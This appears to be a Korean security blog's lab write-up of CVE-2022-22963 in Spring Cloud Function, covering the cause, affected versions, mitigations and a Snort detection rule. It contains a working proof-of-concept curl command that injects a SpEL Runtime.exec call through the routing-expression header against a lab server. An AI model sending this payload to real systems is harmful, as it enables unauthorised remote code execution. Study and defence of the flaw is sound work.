1. 스프링 클라우드 (Spring Cloud)
- 분산/버전관리, 서비스 등록 및 검색 가능, 라우팅, 서비스간 호출, 부하분산, 회로차단기, 분산메세지 등의 기능을 사용할 수 있는 도구
- Spring Framework : 자바 플랫폼을 위한 오픈 소스 애플리케이션 프레임워크
1.1 SpEL(Spring Expression Language)
- 보통 객체를 조회하고 조작하는 기능을 제공하며, 메소드 호출, 문자열 템플릿 기능 등의 여러가지 추가 기능을 제공
- Spring 프로젝트 전반에 걸쳐 사용하기 위해 만들어졌으며 스프링 3.0부터 지원
- 표기법 : #{SpEL표현식}
2. CVE-2022-22963
- Spring Cloud Function의 라우팅 기능을 사용할 때 입력값 검증이 불충분하여 원격 코드 실행 및 로컬 리소스에 액세스가 가능하게되는 취약점 (CVSS 9.8점)
취약한 버전 : Spring Cloud Function 3.2.2 및 3.1.6 이전 버전
※ 취약점이 해결된 버전 제외(3.1.7, 3.2.3 업데이트 버전 제외)
원인 : Cloud Function에서 입력된 매개변수에 대한 검증 미흡
결과 : Spring.cloud.function.routing-expression HTTP 헤더를 통해 임의의 코드를 SpEL(Spring Expression Language)에 전달해 공격자가 원하는 명령 실행 가능
2.1 공격원리
- HTTP 요청 헤더 spring.cloud.function.routing-expression매개변수와 SpEL 표현식을 사용하여 조작된 입력값을 전송 및 임의의 명령 실행
2.2 취약점 상세
- 취약 서버 구동
git clone https://github.com/darryk10/CVE-2022-22963
docker run -it -d -p 8080:8080 bobcheat/springboot-public
- 취약한 버전의 Spring Cloud Function 확인
- Spring Cloud Function이 설치된 루트 디렉터리 하위에 불필요한 파일이 존재하지 않음
- PoC 수행
curl -X POST http://192.168.56.107:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/pwned")' --data-raw 'data' -v
- 결과 확인
- 와이어샤크 확인 시 500 응답값이 확인
- 구글 조회 시 해당 요청은 서버에서 500 응답을 반환하지만 코드는 실행된다고 확인되는데 이유는 정확히 모르겠음
3. 대응방안
3.1 서버 측면
① Spring-Cloud-Function의 버전 정보를 확인하여 취약점이 패치된 버전으로 업그레이드 적용
- 취약점 패치 버전 : Spring Cloud Function 3.1.7, 3.2.3
- 취약점이 패치된 버전에서는 헤더 콘텐츠를 구문 분석하기 전에 유효성 검사를 수행하기 위해 isViaHeader 추가
- Maven으로 패키징된 경우 확인 명령 : pom.xml 파일에서 버전 확인
- Spring Cloud Function 버전 확인 명령 : grep-A 2'spring-cloud-function-context'pom.xml
3.2 네트워크 측면
① 보안 솔루션에 Snort 룰, YARA 룰 등 탐지 및 차단 정책 설정
alert tcp any any -> any any (msg:"Spring4Sell CVE-2022-22963"; content:"functionRouter"; nocase;)
② 로그 모니터링 후 관련 IP 차단
③ IoC 침해지표 확인
4. 참조
- https://hub.docker.com/r/dockerbucket/cve-2022-22963
- https://sysdig.com/blog/cve-2022-22963-spring-cloud/
'취약점 > RCE' 카테고리의 다른 글
Struts2 REST Plugin XStream RCE 취약점 (CVE-2017-9805) (0) | 2022.11.24 |
---|---|
자바 역직렬화 취약점 (0) | 2022.11.23 |
Apache Struts 2 Namespace RCE (CVE-2018-11776) (1) | 2022.09.29 |
iControl REST unauthenticated RCE(CVE-2021-22986) (1) | 2022.09.25 |
vBulletin Pre-Auth RCE(CVE-2019-16759) (0) | 2022.09.20 |